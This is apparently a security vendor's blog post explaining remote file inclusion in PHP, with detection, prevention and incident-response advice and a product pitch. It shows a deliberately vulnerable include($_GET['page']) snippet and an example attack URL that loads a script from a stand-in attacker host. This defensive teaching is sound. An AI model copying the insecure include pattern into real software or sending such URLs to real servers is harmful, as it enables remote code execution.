Why Remote File Inclusion Matters in the Software Supply Chain?
What is Remote File Inclusion?
Understanding what is remote file inclusion is essential for developers looking to secure their applications early in the Software Development Life Cycle (SDLC). This vulnerability, which is often overlooked, allows attackers to inject and execute remote code, putting your systems and pipelines at risk.
Remote file inclusion (RFI) is a critical security vulnerability that lets attackers include and execute external files on your server, often leading to remote code execution (RCE). In practice, this means a malicious actor could run arbitrary code in your environment, compromise builds, or inject dangerous artifacts into your pipeline. What starts as a small input validation issue can become a full-blown software supply chain threat.
While RFI is commonly associated with PHP, the underlying pattern, loading untrusted files based on user input, can affect many programming languages and CI/CD workflows. That’s why understanding this vulnerability is essential for modern development teams, especially when security must be embedded from code to deployment.
In real scenarios, remote file inclusion attacks have led to unauthorized remote code execution, full server compromise, sensitive data exfiltration, and severe breaches of trust boundaries in software supply chains. This vulnerability usually affects PHP-based applications and dynamic file-handling environments, though similar patterns can manifest in other programming languages and frameworks. Let’s dive deep into why understanding what is remote file inclusion and how it works can help prevent dangerous remote code execution incidents.
How Remote File Inclusion Works?
Remote file inclusion (RFI) happens when an application dynamically includes external files based on user input that hasn’t been properly validated. This opens the door for attackers to inject malicious code from remote sources, often resulting in remote code execution (RCE).
How the Exploit Works – Step by Step
- Unvalidated Input: The application uses a query parameter or other user input to decide which file to include.
- Remote File Inclusion: That input is used directly in a file inclusion function (like
include()in PHP), without checking the origin or validity. - Remote Code Execution: If the input points to a malicious remote script, the server fetches and executes it, compromising the system.
Example of Vulnerable PHP Code:
<?php
$page = $_GET['page'];
include($page); // Dangerous: no validation applied
?>In this example, an attacker could manipulate the page parameter to reference a malicious external URL, leading to the execution of remote code.
Common injection methods include passing remote URLs as query parameters. Attackers host malicious scripts externally and modify URLs like this: http://example.com/index.php?page=http://evil.com/malicious.php
Attack Scenarios
This scenario highlights how RFI extends beyond runtime code and affects the software supply chain. Once malicious artifacts are pulled into a pipeline, attackers can poison builds, tamper with deployment logic, or exfiltrate secrets from within trusted environments.
- Web Shell Deployment: Attackers load remote web shells, enabling persistent remote access.
- Malware Hosting: External servers deliver malware or cryptominers via RFI.
- Code Execution in Pipelines: When RFI vulnerabilities affect backend systems or automated build environments, compromised external files may act as injected remote artifacts, endangering entire software pipelines and leading to undetected remote code execution within DevOps workflows.
Typical attack flow:
1. The attacker hosts a malicious script
2. URL parameter manipulation directs the application to fetch and execute this remote script
3. The server executes untrusted code, compromising its environment and potentially downstream systems
In secure development, knowing what is remote file inclusion can help teams avoid introducing such vulnerabilities early in the software lifecycle.
Detection and Indicators of Remote File Inclusion Vulnerabilities
Detecting remote file Inclusion vulnerabilities requires both static code analysis and behavioral monitoring. Since RFI often exploits seemingly harmless code patterns, development and security teams must watch for both insecure coding practices and unusual runtime behaviors that suggest a compromised trust boundary. Below are key indicators to help identify RFI risks early in your software lifecycle.
- Code Review Indicators:
- Use of dynamic file inclusion without strict input validation
- Inclusion of remote files based on URL parameters
- Behavioral Indicators:
- Unexpected remote resource calls from trusted servers
- Logs showing external file inclusions
- Unusual scripts executed from non-local paths, signaling compromised trust boundaries
- Detection Tools:
- Static Application Security Testing (SAST)
- Dynamic Application Security Testing (DAST)
- Software Composition Analysis (SCA)
- Anomaly detection for unusual external requests.
A Deep Dive into CI/CD Pipelines Vulnerabilities
Check out our blogpost series on Poisoned Pipeline Execution (PPE)
Risks and Business Impact
- Data Exfiltration: Sensitive information can be siphoned via malicious remote scripts
- Server Compromise: RFI often results in full server takeover
- Malicious Remote Artifact Injection: Once an attacker injects a remote artifact, downstream builds and deployments risk contamination
- Breached Trust Boundaries: CI/CD pipelines executing untrusted code break core supply chain integrity
- Compliance Risks: Non-compliance with GDPR, PCI DSS, and other standards due to inadequate secure coding practices
Prevention Techniques for Developers
Here you will find a list of some prevention techniques that might help you out:
Input Validation and Sanitization
- Strict allowlisting of acceptable file paths
- Avoiding dynamic file paths whenever possible
- MIME/type validation and enforcement of safe file extensions
- Use language-specific input validation libraries
Secure Coding Practices
- Disable remote file inclusion using configurations like allow_url_include=Off (PHP)
- Enforce absolute, verified, local paths for all file inclusions
- Apply the principle of least privilege across application environments
- Block unsigned or untrusted remote resources
DevSecOps and CI/CD Guardrails
- Implement static and dynamic scanning within CI/CD pipelines
- Create guardrails to detect and block remote file inclusions
- Enforce strict code policies against dynamic and unverified file inclusion
- Monitor build processes for unapproved external resource requests
Runtime Protection Strategies
- Employ Web Application Firewalls (WAFs) to block malicious requests
- Use continuous anomaly detection and security monitoring
- Conduct regular code audits and security-focused penetration testing
Incident Response
What to Do If Remote File Inclusion Is Exploited?
Follow this steps:
- Immediately isolate affected servers or services
- Analyze logs to trace attacker actions and identify compromised resources
- Patch vulnerable code and reconfigure affected applications
- Perform forensic analysis to verify the integrity of downstream pipeline components
- Strengthen controls to prevent recurrence
So, Treat Remote File Inclusion as a Software Supply Chain Threat
Now that you know what is remote file inclusion, you should no longer view it as a simple coding flaw. It is a critical vector that can inject malicious artifacts and breach trust boundaries across your software pipelines. By compromising backend servers or CI/CD processes, RFI allows attackers to tamper with builds, introduce unauthorized changes, and propagate compromised code downstream. Ignoring remote code execution risks arising from RFI can leave your supply chain vulnerable.
Organizations must embed RFI prevention measures throughout the SDLC and CI/CD workflows. This includes static and dynamic analysis, strict input validation, infrastructure hardening, and continuous monitoring. Developer education and secure-by-design practices are essential to defend against RFI and related supply chain attacks.
Last but not least, securing modern software supply chains requires vigilance against vulnerabilities like remote file inclusion that can escalate from simple mistakes to pipeline-wide compromises, resulting in dangerous remote code execution scenarios.
Want to learn from top cybersecurity experts? Watch our SafeDev Talk on Endless Vulnerabilities, Smarter Defenses – Navigating Modern Software Risk on YouTube!
How Xygeni Can Help
Xygeni provides proactive defenses against RFI attacks by embedding real-time security controls throughout your CI/CD pipelines:
- Blocks untrusted remote inclusions at the build stage using customizable guardrails.
- Detects anomalous behavior like suspicious external fetches, unexpected script execution, or unsigned remote artifacts.
- Enforces strict artifact integrity with attestation and provenance validation, ensuring only trusted code moves through your SDLC.
Monitors CI/CD configurations and job definitions to prevent unintentional exposure to RFI-like risks in build scripts or plugins.
By continuously scanning for misconfigurations, analyzing code behavior, and validating artifacts in real time, Xygeni stops RFI and other remote execution threats before they hit production.
Start your free trial and see how Xygeni protects your software supply chain from RFI attacks and beyond.
